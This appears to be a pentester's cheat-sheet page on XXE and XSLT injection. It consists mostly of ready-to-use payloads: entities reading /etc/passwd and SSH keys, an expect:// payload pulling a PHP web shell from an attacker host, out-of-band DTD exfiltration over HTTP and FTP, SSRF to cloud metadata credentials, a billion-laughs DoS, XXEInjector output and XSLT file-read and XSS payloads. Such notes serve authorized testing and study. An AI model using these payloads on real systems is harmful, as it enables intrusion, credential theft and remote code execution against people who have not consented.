XXE / XSLT
XML External Entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "http://localhost/company.txt">
<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
Detection
In your proxy interceptor, add a match&replace rule to change content type "application/json" to "text/xml"
All you have to do now is look for XML parsing errors


<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>

Note: Some web applications may default to a JSON format in HTTP request, but may still accept other formats, including XML. So, even if a web app sends requests in a JSON format, we can try changing the Content-Type
header to application/xml
, and then convert the JSON data to XML with an online tool. If the web application does accept the request with XML data, then we may also test it against XXE vulnerabilities, which may reveal an unanticipated XXE vulnerability.
Change content type "application/json" to "application/xml"

Burp Extension - Content Type Converter
Read File
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>

# Etc/passwd
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
# .ssh/Id_rsa
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:////home/falcon/.ssh/id_rsa'>]>
<root>&read;</root>
Read the content of sensitive files, like configuration files that may contain passwords or other sensitive files like an id_rsa
SSH key of a specific user
Read the source code of the web application
If a file contains some of XML's special characters (e.g. <
/>
/&
), it would break the external entity reference and not be used for the reference. Furthermore, we cannot read any binary data, as it would also not conform to the XML format. Solution for PHP app: Base64
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>

PHP Filters:
File Inclusion LFI / RFIFor Java app, see Bad characters - wrapper
Using SVG Image
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://w3.org/2000/svg" xmlns:xlink="http://w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Remote Code Execution with XXE
PHP://expect
filter
$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
$ sudo python3 -m http.server 80
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
Other XXE Attacks
Port scan, SSRF
DoS:
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY a0 "DOS" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
<!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
<!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
<!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>
This attack no longer works with modern web servers (e.g., Apache), as they protect against entity self-reference
Advanced Exfiltration with CDATA
$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
$ python3 -m http.server 8000
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
Error Based XXE

DTD file - xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
payload
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%error;
]>

Out-of-band Data Exfiltration
Dtd file:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
Automation - XXEInjector
See Tools
Copy the HTTP request from Burp and write it to a file. Not include the full XML data, only the first line, and write XXEINJECT
after it as a position locator for the tool:
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://10.129.201.94
Referer: http://10.129.201.94/blind/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:
All exfiltrated files get stored in the Logs
folder under the tool
cat Logs/10.129.201.94/etc/passwd.log
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP..

Tools
After identifying a Blind XXE for example in Burpsuite it is pretty straight forward with this tool. Simply save the request into a file (req.txt for example) and insert XXEINJECT at the location of the identified injectible parameter. https://blog.kennyjansson.com/2018/03/31/automating-blind-xxe-injection/

More payloads
Basic XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE request [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
<method>&xxe;</method>
</request>
Lister des répertoires
file:///
: liste la racine file:///home/
: liste /home
XXE to SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY ssrf SYSTEM "https://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<data>
<post>
<post_title>&ssrf;</post_title>
<post_desc>...</post_desc>
</post>
</data>
Blind XXE
Tool: XXEInjector
Nuclei Template
https://github.com/coffinxp/priv8-Nuclei/blob/main/blind-xxe.yaml
id: blind-xxe
info:
name: Blind XXE
author: geeknik,otterly
severity: high
variables:
rletter: "{{rand_base(6,'oterly')}}"
requests:
- raw:
- |
POST {{Path}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x88_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip,deflate
Referer: {{BaseURL}}
Content-Type: text/xml
Content-Length: 112
Connection: close
<?xml version="1.0"?>
<!DOCTYPE {{rletter}} SYSTEM "http://{{interactsh-url}}">
<{{rletter}}>&e1;</{{rletter}}>
redirects: true
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
condition: or
Out of Band
OOB Detection
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://[IP]/x"> %ext;
]>
<r></r>

OOB using SVG Image
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///etc/hostname">
<!ENTITY b SYSTEM "http://attack_ip/x=?%a;">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&b;</text>
</svg>
DTD Exfiltration
<?xml version="1.0" ?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://[IP]/remote.dtd">
%dtd;]>
<data>&send;</data>
cat remote.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[IP]/?%file;'>"> %all;

FTP
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://[IP]/ftp.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
# cat ftp.dtd
<!ENTITY % d SYSTEM "file:///etc/hostname">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://[IP]:2121/%d;'>">


also: https://github.com/cyberaz0r/XXE-OOB-Exfiltrator
Not able to exfiltrate /etc/passwd
over http, or ftp on java/tomcat:

Bad characters - Wrapper DTD - CDATA
cat wrapper.dtd
<!ENTITY wrapper "%start;%file;%end;">
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/wp-content/plugins/xxx-search/xxx-search.php" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://[IP]/wrapper.dtd" >
%dtd;
]>
<request>
<method>&wrapper;</method>
</request>


Repurposing Loacl DTD
Find a local DTD to repurpose
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "
<!ENTITY % error SYSTEM 'file:///nonexistent/%file;';>"> %eval; %error; '>
%local_dtd; ]>
RCE in PHP
Try to use the expect package

Resources
XSLT Recon
Determine the Vendor and Version
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<h2>XSLT identification</h2>
<b>Version:</b> <xsl:value-of select="system-property('xsl:version')"/><br/>
<b>Vendor:</b> <xsl:value-of select="system-property('xsl:vendor')" /><br/>
<b>Vendor URL:</b><xsl:value-of select="system-property('xsl:vendor-url')" /><br/>
</xsl:template>
</xsl:stylesheet>
<xsl:value-of select="system-property('xsl:version')" />
<xsl:value-of select="system-property('xsl:vendor')" />
<xsl:value-of select="system-property('xsl:vendor-url')" />
Fingerprinting
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
File Read

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
XSS
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
RCE

SSRF
<xsl:copy-of select="document('http://10.10.10.10:22')"/>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:5000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
Payloads
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Resources
Last updated